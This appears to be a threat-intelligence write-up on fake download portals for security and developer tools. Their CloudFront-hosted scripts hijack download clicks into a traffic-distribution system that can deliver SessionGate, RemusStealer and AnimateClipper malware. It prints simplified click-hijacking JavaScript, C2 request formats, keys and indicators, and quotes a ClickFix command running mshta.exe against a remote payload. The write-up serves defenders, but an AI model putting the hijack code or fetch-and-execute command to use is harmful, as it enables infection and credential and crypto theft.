Importantly, we do not assess these impersonation sites as being built exclusively for malware distribution. The more plausible primary objective is traffic acquisition and monetization. However, by embedding a gated TDS layer and funneling search traffic into it, the operators become part of a distribution chain whose downstream consumers can include malware distributors. The same traffic pipeline that drives gray monetization can also selectively route real users to malicious payloads.

Impersonation, click hijacking, and the post-click routing

Our investigation started with several domains impersonating official project pages and download portals for tools widely used by security researchers.

For relevant queries, some of these “project portals” appeared surprisingly high in search results:

What these sites have in common is a shared staging component: their pages load CloudFront-hosted Traffic Distribution System scripts from Amazon CloudFront, a legitimate content delivery network (CDN) service widely used to distribute web content through globally distributed infrastructure. These scripts turn the first “Download” click into a post-click routing chain.

The scripts are fetched from URLs with a consistent pattern, for example:

• https://d33f51dyacx7bd.cloudfront[.]net/?aydfd=1237183
• https://dcbbwymp1bhlf.cloudfront[.]net/?wbbcd=1236609

In total, we identified more than 100 currently active websites embedding these scripts, reusing the same campaign-style identifiers and the same CloudFront domains.

Below are some of the entry domains from the cluster, with an emphasis on impersonated brands that are commonly trusted by technical users:

• Security/researcher tooling look-alikes
  • ghidralite[.]com
  • dnspy[.]org
  • ilspy[.]org
• Developer/utility tooling look-alikes
  • grpcurl[.]com
  • mqttexplorer[.]com
  • mfcmapi[.]com
  • winsetupfromusb[.]org
  • crystaldiskmark[.]org
  • guiformat[.]com

While we have identified multiple targets that seems to primarily target security researchers, we have not found any strong evidence suggesting we could be dealing with potential targeted attacks. As previously mentioned, ultimate goal seems primarily for traffic acquisition and monetization.

Download button click hijacking

The key trick used on these fake websites is that the “Download” button can look legitimate even to a careful user. The page keeps the original href intact, often pointing to a real upstream destination such as a GitHub release, which means browser UI cues like the status bar on hover still show a plausible target.

At the same time, once the user interacts with the page, the previously loaded CloudFront-hosted JavaScript can intercept the first eligible user interaction and hand it off to a Traffic Distribution System (TDS). The script contains multiple browser-side serving methods — alternative strategies for opening or navigating a tab/window to the TDS-controlled destination.

The default serving method is supplied in the configuration, while the browser-side runtime can still adapt locally based on factors such as browser family, mobile vs. desktop environment, frequency-capping state, and adblock-related logic. In practice, these methods differ mainly in how they preserve a browser-accepted, user-initiated opening opportunity and deliver the final TDS URL. The runtime includes several approaches, including calling a cached reference to window.open, using different primary events in different browsers, opening intermediate or temporary blank tabs that are later navigated to the final URL, or using a synthetic click on a dynamically created <a target="_blank"> element whose javascript: URL assigns window.location.href to the TDS URL.

For example, on desktop Firefox the runtime uses a capture-phase click handler; on desktop Chrome, the corresponding primary event is mousedown. The handler records the user’s intended destination if the interaction occurs inside a link, generates a TDS runtime URL, invokes the selected serving method, and then takes over the original interaction by calling preventDefault() to cancel the normal navigation and stopImmediatePropagation() to prevent other handlers from processing the same event.

A simplified version of the common event-wrapper logic is shown below. The exact invoke() implementation depends on the selected serving method.

const cachedOpen = window.open;

document.addEventListener(isChromeDesktop() ? "mousedown" : "click", (event) => {
  const method = currentServingMethod();
  if (!isEligibleClick(event.target)) return;

  const runtimeUrl = generateRuntimeURL({
    referrer: location.href,
    userDestination: extractClickedLink(event.target)
  });

  method.invoke(cachedOpen, runtimeUrl, event);

  event.stopImmediatePropagation();
  event.preventDefault();
}, true);

The routing logic is also gated by browser-side state and frequency caps, including values stored in localStorage. This creates a reproducibility trap: the first eligible click may route through the TDS chain, while refreshes, repeated clicks, or return visits can fall back to the original visible link target. The script also forwards the clicked link destination downstream, allowing the routing layer to know what the user appeared to be trying to open.

In other words, a click on what appears to be a legitimate link or download button can be converted into a navigation to a completely different URL controlled by the TDS.

window.addEventListener(browser.isChrome() ? "mousedown" : "click", function () {
  w = window.open("about:blank", /* ... */);
});

document.addEventListener("click", function (e) {
  const el = e.target.closest("a, button");
  if (!el) return;

  e.preventDefault();
  e.stopImmediatePropagation();

  window.g(/* ... */, selectedPostClickUrl);
}, true);

window.g = function(/* ... */, u) {
  w.location.href = u;
};

Real redirect chains: gating and branching outcomes

After the click handoff, the workflow becomes visible as a sequence of redirects. We observed numerous redirect chain variations. In many cases, repeated attempts to enter the TDS chain from the same IP address resulted in downloads of benign software (for example, the Opera browser). Some chains ended with the delivery of unnecessary, yet non-malicious, browser extensions.

At the same time, other redirect paths ultimately led to the download of malware.

In all of our experiments, the browser was first redirected to a post-click redirector:

oundhertobeconsist[.]org/<token>

However, this domain is not hardcoded in the page or the scripts. It is supplied dynamically through the decoded stage configuration delivered from CloudFront, together with other campaign parameters.

A decoded configuration block observed in multiple cases contained:

{
  "tagId": 1230479,
  "redirectorDomain": "oundhertobeconsist.org",
  "pixelDomain": "ukentaspectsofc.org",
  "capPerDomain": 2,
  "capPerUri": 1,
  "intervalBetweenPops_ms": 60000,
  "resetInterval_sec": 43200,
  "extraCloudFront": "//d2f5h9m0jmnhjh.cloudfront.net",
  "namespace": "xcvmsbcmxa"
}

The redirector then forwarded the browser along one of several possible branches. Some of the observed variants include:

• In one family of redirect chains, users were sent directly to an offer wall / content locker (unlockcontent.org), which may result in affiliate-tagged downloads of legitimate software or potentially unwanted applications (PUA).
• In another family, users were redirected into a multi-gate chain (trkscope[.]xyz, file-enter-web[.]com) before reaching the final delivery infrastructure.

The multi-gate path introduces a second branching point after the anti-bot gate (file-enter-web[.]com). From there, sessions can be routed either to a download gate with direct archive delivery (media.stellarcloudhub1[.]cfd, arch2.maxdatahost1[.]cyou) or to a different gated path that bridges to external hosting platforms (observed ending at mega.nz).

The specific redirect path appears to be influenced by multiple factors, including the user’s country, browser type, VPN usage, client fingerprint, click context, and the original entry domain.

SessionGate: From “Benign Installer” to a Gated, Multi-Stage Framework

We have uncovered several malware families as the final payload, including RemusStealer and AnimateClipper, however, one that stood out was a previously unknown malware we named SessionGate.

SessionGate case drew our attention not only because of its multi-stage delivery chain and extensive validation logic, but also due to a rather unusual anti-analysis approach. Combined with the TDS-side gating, it makes obtaining the final payload extremely difficult for analysts.

VirusTotal telemetry indicates broad reach for this branch. Individual samples associated with SessionGate family were submitted thousands of times, with some reaching approximately 2,000 to 3,500 submissions. The observed submission and lookup activity was distributed globally, with especially notable visibility in Turkey, Poland, Brazil, Germany, France, Russia, and the United Kingdom.

We believe the TDS chain includes a backend service that “registers” the victim’s IP address, after which the victim must traverse the entire redirect path end-to-end. The payload delivered at a later stage appears to be unique per client, generated server-side for each session, and intended for one-time execution. The embedded modules within that payload are encrypted, and the decryption key material is produced based on data provided by the C2 server only once for that specific sample. As a result, a complete decryption and analysis is only possible if the researcher’s environment does not raise suspicion at any stage, and the analyst manages to fully intercept and decrypt all relevant traffic.

In addition, each stage employs obfuscation techniques that effectively undermine static analysis tooling (disassemblers and decompilers) and can even hinder AI-based reverse-engineering agents.

The figure below schematically illustrates the delivery sequence, C2 communication, and the module decryption flow.

We identified two landing pages that initiate the download of samples belonging to this family:

originaldownloads[.]info
getfluxfile[.]com

The landing pages look as follows:

Each landing page generates a short-lived, unique payload download URL per client session, bound to the client’s browser and IP address. Examples of generated URLs include:

https://s3.us-east-2.amazonaws[.]com/marketstagofortdas/ehjm145uvt/Download_Ready_461049.html?utm_source=partner_consent
https://s3.us-east-2.amazonaws[.]com/activeslatnascdngetrcv/wstq162fmo/SetupFile_839132.html?utm_source=partner_consent

The HTML page contains obfuscated JavaScript that performs a server-side validation step (performed by

https://javascriptapiusa[.]com/lic?) before allowing access to the payload. The payload is then downloaded using the same name but with .exe extension, for example:

https://s3.us-east-2.amazonaws[.]com/marketstagofortdas/ehjm145uvt/Download_Ready_461049.exe

As observed, different S3 buckets may be used. Below are some of those identified by us between January and March 2026:

["activeslatnascdngetrcv", "globalhasigasnaledsftwre", "marketstagofortdas", "activesltnascdngetrcv", "globalhsigasnaledsftwre", "dimarketorotacti", "softmakreplnt", "softmakreplntl", "activemktsolution", "dimarketorotactis", "signedmarkeotk", "marketstgofortdas"]

Downloader with a built-in decoy: embedded 7-Zip SFX content

The loader contains an embedded 7-Zip archive, and it can pivot to a benign installer experience when its gated delivery path does not proceed.

This decoy design matters operationally: analysts and automated sandboxes often observe a “normal installer” UI, while the malicious delivery chain remains gated.

One of the first red flags is that the downloaded archive is about 20 MB, yet it contains a file of only 15 MB. The remaining ~5 MB consists of heavily obfuscated loader code.

Because of the obfuscation techniques in use, including injected junk code, opaque predicates, and string encryption, the resulting functions become extremely bloated. This alone significantly complicates analysis, as it can break parts of common tooling, including IDA’s decompiler and even graph mode. Some functions exceed 500 KB in size.

In addition, encrypted string blobs are placed directly inside function bodies after conditional branches (opaque predicates). This causes disassemblers to misinterpret the string data as executable code, which further disrupts analysis and can prevent tools from correctly identifying function boundaries in the first place.

However, this obfuscation method is very characteristic and follows the same patterns, allowing for easy identification of other samples of this family.

The sample also runs multiple environment checks that influence whether it proceeds with malicious delivery or falls back to decoy behavior. The loader checks for the presence of certain services, but the service names are not stored plainly. Instead, it compares Adler-32 hashes against constants, effectively hiding the indicator list.

The identified service name indicators include:

• eelam, ehdrv, eamonm, epfwwfp, epfw, ekbdflt, edevmon
• npf, npcap, sysmondrv

In addition to services, the loader also enumerates running processes (Toolhelp-based scanning). Here too, the indicators are not kept as plaintext: they are compared via hash-based logic (SHA1 table approach), again reducing the value of simple string hunting.

Finally, the loader checks system context such as:

• Windows Defender PUA/PUS-related registry settings (e.g., PUAProtection, MpEnablePus)
• Windows “Enterprise” edition detection (by inspecting the ProductName string)

Taken together, these checks ensure that malicious activity is only launched on systems where it is most likely to go undetected.

Stage 1: The Loader’s C2 – Multi-Step “Check-in” With Gating

Once executed, the loader attempts to contact its C2 and perform several check-in steps before it tries to retrieve the next-stage payload.

In the campaigns we analyzed, one observed C2 domain was:

• appfreshstart[.]com

We also observed related campaigns using domains such as:

• appgetonline[.]com
• webinnosetup[.]com
• appmakingcenter[.]com

The loader’s C2 requests use a distinctive URL structure consisting of multiple path segments and a query suffix, and uses a specific User-Agent string NSIS_InetLoad (Mozilla). The pattern looks like:

https://<c2>/<tokenA>/<tickA>/<tokenB>/<tickB>?<sig16><timestamp>

The values in the <tokenX> fields are stored enrypted in the sample and are unique per campaign. They are also used to identify specific stages, for example:

• check-in;
• check-in after privilege elevation;
• payload request.

When constructing the URL, the loader incorporates random tick-derived values, a timestamp, and a signature calculated as SHA1({base_path}/{timestamp}/{salt}), where salt is a shared secret known to both the sample and the server.

In the analyzed sample, salt = "118107B05C590076239FF759CD9E5".

Example request:

GET https://appfreshstart.com/06A3AEF73537C68C/00507206521/26203FA83EC99DDE/77035662512?FF584F0057B9F6F81770356625 HTTP/1.1
Host: appfreshstart.com
User-Agent: NSIS_InetLoad (Mozilla)
Accept: /

For check-in requests, the server responds with a hex string. The loader then sums all decimal digits in that string. If the resulting value is even, execution is aborted.

We observed this behavior when attempting to download the payload again from the same IP address, and also when the sample was obtained outside of the intended TDS chain.

Using a similar request structure, but with different tokenA and tokenB values, the loader requests the next-stage payload from the server. At this step, the server can also block delivery: in our experiments, we occasionally received an empty response. In some campaigns, the payload was additionally encrypted.

We observed multiple variants of the loader. In some cases, the downloaded payload was executed directly from memory, while in others it was written to disk. For disk-based execution, the loader creates a temporary directory and file under %TEMP%. The downloaded file is then launched with two command-line arguments, for example:

"<tmp_filename>.exe" 5568725089114413 DNQ5q9t4mVzASXrJMqVsA6/rjdVV12bOaI7kXqemD9uW/eqleH0aqGh/0glYQt1yrXQjkwN7Bm+PzpsNT/VljVIG7R0Kldo/aFDkzhed2jaSbLtANScmGWkY/wSKVVqUVxwlfJQT4D+S6GD4EnFjet8pp1lEWXl+Vg4QY/Wwz5I=

Stage 2: One more 7-Zip SFX archive with a decoy

The second-stage binary is another large Windows GUI executable (usually up to 10MB) that impersonates a legitimate 7-Zip SFX installer. Its string-encryption and code-obfuscation style is highly consistent with other samples in the same delivery framework.

Notably, it contains a PDB path: D:\\code\\cpp-downloader-scb-reg-other\\Plugins\\7ZipDownloader\\Output\\SFXWin.pdb. We used this artifact for pivoting and found 200+ similar samples on VirusTotal, with the earliest ones appearing in late August 2025.

On launch, the sample checks its command line: the first argument must look like a numeric token, and the second must look like a base64 string. The base64 blob is then further decrypted and validated by an embedded module (described later). If the checks fail, the sample falls back to the benign 7-Zip SFX behavior, showing a normal “installer/extractor” flow.

When the gate passes, the binary reads its own on-disk image, extracts two embedded DLL payloads, and decrypts them using AES-CBC. The modules are not written to disk: they are loaded via in-memory PE manual mapping (often referred to as reflective / manual-map loading), and execution is transferred through exported functions.

• DLL #1 is decrypted first using a key derived locally:
  • key1 = SHA256("WDNkCQnmXc" || tail32) where tail32 is a 32-byte slice from the loader’s file image.
• After mapping DLL #1, the loader resolves and calls an export named c1, passing the loader’s own SHA-256 hash (uppercase hex string) and an output buffer.
• The output of c1, combined with a second hardcoded string constant, is used to derive the key for DLL #2:
  • key2 = HEX_UPPER(SHA256("webh5vnGVew" || c1_output))
• The loader then decrypts and maps DLL #2 the same way and calls its exported entry point (observed as mainFunc), passing through the original command-line arguments.

However, we encountered major problems while decrypting DLL #2. The problem is that the output of function c1 is not static, but depends on the data returned by the C&C server.

DLL #1 – “Key Broker” module

After the stage-2 SFX loader decrypts and maps DLL #1 in memory, it resolves and calls an exported function named c1. From the loader’s point of view, DLL #1 acts as a key broker: it performs strict gating based on the process command line, contacts a dedicated “CRC” C2 endpoint, transforms the server response into a short token, and returns it to the loader. The loader then mixes this token with a hardcoded value to derive the AES key material for decrypting DLL #2.

Command-line gating

First, the module performs the same command line check as the parent executable: the first argument must look like a numeric token, and the second must look like a base64 string.

Then it decodes the base64 string from the second command line argument using AES-256-CBC with a fixed hardcoded key BFEA4EE8EF934BE7A2B4C64A0BAD1E92 (32 bytes; not hex-decoded) and a zero IV.

It skips the first 32 bytes and treats the remaining bytes as a UTF-16 string. In the samples we analyzed, this string holds a path-like marker such as:

C:\\Users\\user\\Desktop\\SetupFile_411815.exe

The decrypted value is then validated by checking the filename suffix pattern: the filename must contain an underscore followed by 3-10 lowercase alphanumeric characters, and end with an extension (e.g., _411815.exe). This check is important operationally: it prevents the module from functioning correctly when executed outside of the intended delivery flow. If any of these checks fail, the DLL exits early and returns no usable output, that leads to the loader’s “benign SFX fallback” flow.

In addition to command-line gating, DLL #1 runs lightweight anti-analysis checks. In particular, it checks the local environment against hardcoded blacklists derived from:

• SHA-256 of the current username and computer name, and
• MD5 hashes of ntdll.dll export names (a common way to detect non-standard runtime environments such as emulation layers or heavily instrumented sandboxes).

When any blacklist condition matches, the module aborts before contacting its key server.

Key request: C2 receives the loader’s hash, returns per-build token material

If the gate passes, DLL #1 contacts a dedicated “CRC” C2 domain (observed variants include):

• yourfastcrc[.]com
• mobileversioncrc[.]com
• webcrcprove[.]com
• integritycrc[.]com

The request follows a consistent pattern:

https://<crc-domain>/check_version?version=<hash>

The value passed in version= contains the uppercase SHA-256 hex hash of the stage-2 loader itself and is provided by the stage-2 loader when calling c1.

The C2 response is a short ASCII string, for example:

qWTL9kRfF3ndz5UGs3jPWsriG4yFfRnvZxffshBIunIBDFwVfgGbGFUjpTJaFwBB

DLL #1 uses the first 64 characters and performs a deterministic transformation to produce a 32-character base62 token, which it returns to the loader via the output buffer. For the example above, the resulting value is:

q2lOy0GwLqW1yRwIYAzH33CjBV9PoRrA

The loader then combines this c1 output with a hardcoded constant to derive the AES key material for DLL #2.

Implication: per-client, one-time keys and strong server-side gating

In controlled experiments, we repeatedly observed that the “CRC” C2 endpoint can return different values across requests for the same version=<hash>. This behavior aligns with the broader design of the campaign:

• The stage-2 payload appears to be generated per client session, and
• DLL #2 cannot be decrypted unless the correct c1 output is obtained for the matching build.

Based on traffic captures and repeated retrieval attempts, our working assessment is that the “CRC” C2 likely implements one-time key release semantics and additional gating tied to victim context, such as the originating IP address / session state. In practice this means:

• the correct key material may be released only once for the intended victim session, and
• subsequent requests (or requests from a different IP) may be answered with a valid-looking but non-functional random string, causing the stage-2 loader to decrypt DLL #2 into garbage rather than a valid PE image.

This design significantly complicates research. Even when an analyst captures a full redirect chain and obtains a sample quickly, the server-side constraints can prevent reliable reproduction of the key exchange needed to decrypt and analyze the final payload (DLL #2).

DLL#2 – Decrypted Payload: The “Installer/Offer Framework” Module

After we succeeded in capturing a clean end-to-end delivery run and decrypting the embedded modules, we obtained a second-stage DLL that implements the real business logic: tracking, configuration retrieval, payload selection, download, and silent execution.

This section describes that decrypted module and its capabilities.

In this sample, we observed the same code patterns and obfuscation techniques as in all previously analyzed modules, which clearly indicates that they belong to the same malware family.

The decrypted payload is best described as a network-controlled installer/bundler framework. It is designed to look and behave like a legitimate installer when observed superficially, while quietly performing a server-driven download-and-execute workflow in the background.

Importantly, we did not observe stealer or RAT behavior in this module: there is no evidence of credential theft, browser database scraping, keylogging, or interactive remote control. Instead, the module is intended for configurable delivery (server-controlled payload URLs), and silent installation of additional software.

From a defensive perspective, this still makes it high-risk. Any component that can fetch configuration from a remote server and then download and execute binaries on demand is a delivery primitive that can be abused to distribute malware.

A quick map of the core workflow

At a high level, the DLL implements the following pipeline:

1. Build encrypted request.
2. Retrieve encrypted config from C&C server (appmakingcenter[.]com in the analyzed sample).
3. Decode config into key/value table, fetch download URL.
4. Download payload.
5. Execute silently via cmd.exe .
6. Send telemetry/tracking events

The implementation is structured around a small set of reusable building blocks:

• an encrypted “panel protocol” over HTTPS,
• a configuration decoder and parser,
• downloaders,
• a silent process launcher,
• multiple tracking/telemetry helpers.

What software does it appear to install?

The decrypted module contains many product-facing strings (installer UI text, product names, and expected post-install executable paths under AppData\\Local\\Programs\\...). At first glance, this looks like a hardcoded “bundle portfolio” (PDF Spark, PDF Proton, PDF Ignite, PDF Skill, Document Sparkle, NibblrAI, PCPooch). However, as we described above, the DLL is a multi-product installer shell driven by server configuration, not a collection of fixed download links.

Concretely, the module retrieves an encrypted backend configuration, decodes it into an internal key/value table, and then:

• uses a numeric product identifier from the table (config key 22) to select which product branding/UI texts to display, and which expected executable path to use for post-install launch (via CreateProcessW);
• uses a download URL from the same table (config key 11, PRODUCT_DOWNLOAD_URL) as the input to its WinINet downloader.

This design explains why you can see many product names and installation paths in the DLL while not seeing their download URLs as plaintext: the URLs are supplied dynamically by the backend.

Finally, if the backend config is missing key 11, the parser initializes PRODUCT_DOWNLOAD_URL to a hardcoded 7-Zip installer URL (https://www.7-zip.org/a/7z2301-x64.exe), which can be overridden by a full server response.

Case 2: RemusStealer

In the second case we analyzed, the TDS redirection chain ends with a landing page that provides a link to download a password-protected ZIP archive and the password required to open it.

The archive is approximately 14 MB, but after extraction it contains a single executable whose on-disk size is about 850 MB. The file is artificially inflated by large zero-filled padding: the actual non-zero content is roughly 32 MB once the padding is removed.

This inflation is a practical evasion technique. Oversized binaries can slow down or break automated processing (static unpacking, AV scanning pipelines, sandbox analysis) and can also bypass tooling or policies that impose file-size limits or timeouts during analysis.

The executable itself is a first-stage loader written in Go. It contains an embedded malicious payload in .rdata that is decoded at runtime using a simple transform, and is executed via manual PE mapping.

Payload: Remus Stealer

The embedded second-stage payload is a C2-controlled infostealer marketed as Remus (a MaaS stealer). The first public listing we observed for “Remus” was posted on a Russian-language underground forum by a user named RemusStealer on February 12, 2026.

According to the vendor advertisement, Remus is positioned as a subscription product (two tiers advertised at $250 and $500) with a focus on broad browser and extension collection, a custom exfiltration protocol with encryption, and heavy use of low-level OS interaction (“system calls”).

RemusStealer implements the following functionality:

• C2-driven collection (“tasking”): the server defines what is collected per run by sending encrypted JSON tasks; multiple tasks can be executed sequentially until the server signals completion.
• Browser data theft:
  • Chromium family: History, Login Data, Login Data For Account, Network\\Cookies, Web Data
  • Firefox/NSS profiles: key4.db, cert9.db, cookies.sqlite, logins.json, formhistory.sqlite, places.sqlite, prefs.js, extensions.webextensions.uuids
  • Chromium key material: extracts the master key from Local State via DPAPI (CryptUnprotectData) and uploads it as a separate /Key artifact.
• Extension-driven theft: the server can pass an explicit list of extension targets (extensions[] objects with {name, path}), allowing selective collection.
• File system search + exfiltration: server-controlled search rules (path, mask, depth, size limit, link handling) with %ENV% expansion (e.g., %APPDATA% paths).
• Registry reconnaissance: server-controlled queries of arbitrary path/value pairs, with HKCU-relative support and WOW64 view retry logic.
• Clipboard theft: captures CF_UNICODETEXT, exfiltrated as Clipboard.txt (collected once per run).
• Screenshot capture: supported and exfiltrated as Screenshot.bmp when enabled by an internal flag (not unconditional in this build).

Operationally, this architecture gives the operator fine-grained control over collection scope. For example, the backend can define which browser extensions to target, which file name patterns to search for, which registry values to query for environment profiling, and so on.

Tasking protocol overview

The binary contains an encrypted C2 list that is decrypted at runtime. In the analyzed sample, the decrypted C2 endpoints were:

• http://buccstanor[.]pics:28313 (primary)
• http://baxe[.]pics:48261 (fallback)

The stealer polls the C2 using HTTP POST requests that include an access_token and an incrementing step counter. The requests use a Firefox browser User-Agent string, to blend in with normal browser traffic:

POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 56
Host: baxe.pics:48261

access_token=57fe0587-863c-432d-9f4b-bf785a9560e8&step=1

Each server response is an encrypted JSON object with keys:

• type — numeric command type (parsed as a number and used as an integer selector)
• data — command parameters (object or list, depending on type)
• name — base64 string used by type=0
• extensions — list of {name, path} objects used by type=3 and type=4

{
  "type": <number>,
  "data": ...,
  "name":"<base64>",
  "extensions": [ {"name":"...", "path":"..."}, ... ]
}

Task responses are delivered as encrypted JSON. After decoding, entries resolve into a label and extension identifier, with occasional control flags (sync, indb) used by the malware logic.

A decrypted example task instructing the stealer to collect Chrome browser extension data looks as follows:

{
  "type":3,
  "extensions": [
    { "name":"Password Managers/1Password", "id":"aeblfdkhhhdcdjpifhhbdiojplfjncoa" },
    { "name":"Password Managers/Bitwarden", "id":"jbkfoedolllekgbhcbcoahefnbanhhlh" },
    { "name":"Wallets/MetaMask", "id":"nkbihfbeogaeaoehlefnkodbefgpgknn", "indb":true },
    { "name":"Wallets/Phantom", "id":"bfnaelmomeimhlpmgjnjophhpkkoljpa" },
    { "name":"2FA/Authy", "id":"gaedmjdfmmahhbjefcbgaolhhanlaolb" }
  ]
}

Notably, the identifiers are not limited to Chrome Web Store-style IDs: the list also contains email-like IDs (e.g., webextension@…) and GUID-style identifiers, suggesting the operator’s targeting list is designed to cover multiple browser ecosystems and packaging schemes.

The agent executes tasks in a loop until the server returns a stop command.

Implemented commands

Task type	Purpose	Expected fields	What the stealer does
0	File-system search + exfiltration	data contains: path, mask, depth, size, link; plus top-level name (base64 label). path supports %ENV% expansion.	Expands %ENV% paths, traverses directories with filters/limits, collects matching file contents, packages results, and uploads them to C2.
1	Reserved / no-op (this build)	type only	No task handler is executed. The agent performs only the standard loop housekeeping and proceeds to the next step.
2	Registry reconnaissance (arbitrary value queries)	data is a list of objects with: path, value, name	Opens keys via native NT registry APIs, queries requested values, retries using an alternate WOW64 view when needed, supports HKCU-relative paths, and returns results as labeled artifacts.
3	Chromium-oriented collection + extension-driven logic	Uses extensions ({name, path}) and additional control flags from data (e.g., history, plus short flags observed as indb/sync).	Collects Chromium artifacts (History, Login Data, Cookies, Web Data), extracts key material from Local State via DPAPI (CryptUnprotectData), and uploads the decrypted blob as a /Key artifact.
4	Firefox/NSS profile discovery + profile theft	Uses extensions ({name, path})	Searches for profile directories by checking for \\key4.db; when found, collects the Firefox/NSS artifact set (including key4.db, cert9.db, cookies.sqlite, logins.json, places.sqlite, prefs.js, extensions.webextensions.uuids) and uploads them.
5	Stop / end of tasking	type only	Signals completion: the agent exits the task loop and proceeds to its post-task upload sequence before terminating.

Targets: crypto wallet, password managers, 2FA extensions

In the captured C2 traffic, the stealer received a list of 332 browser extension identifiers in encrypted task responses.

The targeting is heavily skewed toward cryptocurrency wallets and credential/secret storage:

Category	Unique targets	What’s at risk (high level)
Wallets	220	Wallet extension state (accounts/addresses, encrypted vaults, session artifacts; exact contents depend on the wallet)
Password Managers	77	Password manager extension data (vault metadata, sessions, potential export artifacts depending on product/state)
2FA / TOTP	18	OTP/2FA companion extensions and related data (e.g., seeds/exports if present)
Notes	11	Notes/clipper extensions (note content, clip data)
Payments	6	Payment/checkout extensions (session / account-related artifacts)

Representative high-signal targets from the decoded list include:

Password managers: 1Password, Bitwarden, LastPass, Dashlane, Keeper, RoboForm, NordPass, Proton Pass, KeePassXC, Zoho Vault

Crypto wallets: MetaMask (multiple identifiers observed), Rabby Wallet, Coinbase Wallet, Trust Wallet, OKX Wallet, Binance Wallet, Bitget Wallet, Phantom (Solana), Solflare Wallet (Solana), Keplr / Cosmostation / SubWallet (Cosmos/Substrate ecosystems), TronLink, Exodus, Ronin Wallet, Tonkeeper / MyTonWallet, Yoroi (Cardano), UniSat Wallet (Bitcoin ecosystem), Suiet (Sui) / Pontem (Aptos)

2FA: Authy, 2FAS, multiple “Authenticator / TOTP / Web2FA” extensions.

Case 3: ClickFix, and a Crypto Clipper with On-Chain C2 Resolution

In this TDS branch, the user is ultimately led to a ClickFix-style phishing page (processing-in-progress-x4.t3.storage[.]dev), after which the infection chain proceeds to silently install a cryptocurrency clipper malware that some vendors identify as AnimateClipper.

The page that imitates a Cloudflare verification screen and instructs the user to run:

C:\Windows\SysWOW64\mshta.exe https://185.0xA1.0xFB[.]58/navy.7z

mshta.exe is a built-in Windows utility intended to run HTML Applications (HTA). It is often abused by threat actors because it can execute script-based content directly from a remote URL using a system binary already present on the machine.

The object fetched from https://185.0xA1.0xFB[.]58/navy.7z is not a normal 7-Zip archive. Its beginning contains an HTA page with obfuscated VBScript, which mshta.exe executes. The appended archive content is benign decoy data and does not participate in the infection chain.

The VBScript retrieves the next stage from:

http://194.150.220[.]218/4SLEYpfAk57hGubo/fo0suc2ki2.rtf

Despite the .rtf extension, this resource is a heavily obfuscated PowerShell script. After deobfuscation, we found that it reconstructs an additional PowerShell stage in memory and uses an RC4-based routine to decrypt the next payload.

That stage then downloads:

https://cdn-1415.brightcanvas[.]digital/fo0suc2ki2.rtf

This file also does not match its extension. In the observed chain, it is a ZIP archive containing a bundled Python environment, third-party libraries, Node.js modules, and a large heavily obfuscated Python script stored in node_modules.asar. Despite its name, node_modules.asar is not an Electron ASAR archive, but a Python loader disguised to blend in with the package contents.

The obfuscated script embeds a large shellcode blob directly in its body and launches it from memory. It copies the shellcode into a buffer, changes the memory protection to executable, and transfers execution to it via ntdll!LdrCallEnclave. In the sample we analyzed, the shellcode is executed in-process, inside the current bundled Python interpreter.

Once running, the shellcode acts as an in-memory loader for the next stage. It decrypts and decompresses an embedded payload container and manually maps the resulting PE payload into the same process memory. In other words, node_modules.asar is not a passive archive or Electron artifact, but the actual Python-based launch stage that executes shellcode and hands off execution to the next payload without writing the unpacked PE to disk.

Final payload: crypto clipper with on-chain C2 resolution

At a high level, the final payload is a clipboard-hijacking crypto clipper: it continuously monitors the clipboard for cryptocurrency wallet strings, identifies the wallet format locally, replaces the copied address with one of multiple attacker-controlled wallet addresses embedded in the sample, and writes the modified value back to the clipboard. In practice, this means a victim can copy a legitimate wallet address, paste it moments later, and unknowingly send funds to the attacker instead.

When executed, AnimateClipper first resolves its C2 by querying a smart contract over the public BNB Smart Chain Testnet JSON-RPC endpoint. The sample issues the following request:

POST https://data-seed-prebsc-1-s1.binance.org:8545/
{"id":1,"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x6936edc505501EBB2F202C985a021a06f1c10C9E","data":"0x3bc5de30"},"latest"]}

At the time of our analysis, the contract response resolved to the C2 domain:

kr.hugo-lapp.co

The malware uses HTTPS to communicate with the resolved C2 server. In the analyzed build, the observed logic includes periodic refresh check-ins and a second request format intended to report address-replacement activity. The replacement wallets themselves are fully embedded in the binary.

The hardcoded replacement addresses observed in the analyzed sample include:

0xA1E50DaF64fb2B342A64d848E396700962acC2d0
1PbWWqgKDBDorh525uecKaGZD21FGSoCeR
31kwGkJP9xM26cnQJLpe1CH6pjSt4DEDz2
32Epo1K92Xzo6Hayq1Fmkj21x4fUk7JZT7
bc1qcg5sx6a6evx5ls4gj6nh8d0jtamh89n2y473dr
bc1pqn73hlel3mmnza0kfl2alwkkgkapeeknufgtysll8fs2z4umdf0qpvus9q
ltc1qk437ykzdxms9k9wh5vhd7aalsv0tfx6r39rrtv
LV9AYZKQEg891crnof7PFK6u77noVM4Y45
MG1FerSxboiwjhvU2cv4n34pXz5FpC88p4
TNf4nzc6x6fZrBMLMaZZGV1SbCjShDqbaQ
r9yMnTm4NSzvG9rrwjM2ec8xZgh1cafXH8
cosmos1k5xu6njlc90r92gdwvtfjh826jduw7ptmry0q8
UQDvDUxFShoWWbHougyHjr0tFz3E38fX8e0bnTUpya-P0mXW
DH9W9S6mSSBsGeiSstgsGdiREZupQbZf9C
RRkUSs6V3Eu6gxjGDbGzcS99F5WyKtggsw
XvUreW3ZjMcDuMTowd1BZsK9CYJdk7eKJw
RMh4hfsi84LdbS4uS3jaSaNccc8kartkDJ
XALFSI6ETIZJH2N5CFT2CFOKPFDVDTZUVR7Q3L26UG74SWYGMY6X7MA46Q
XpY2GAXeKJwxSqF87BbPzD68Woy5trj8iKS1PPM
EME9M9cSy9FvfHvcx2gMPkp1H5Dj4YaKufPRsAyon8Tf
qphu2urfykunh5l42retl4aqw6xnfjkyjvcy6gjqrs

We also reviewed incoming transactions to the wallet addresses embedded in this sample. In the dataset we analyzed, the earliest inbound payments were recorded in July 2025, with the first observed transaction dated July 12, 2025. This indicates that the operation has likely been active for a prolonged period and suggests that the TDS-driven infection chain we observed may be only one of several distribution paths used to deploy the malware. While the observed on-chain inflows are modest, they nevertheless show that the embedded wallets received real funds.

Conclusion

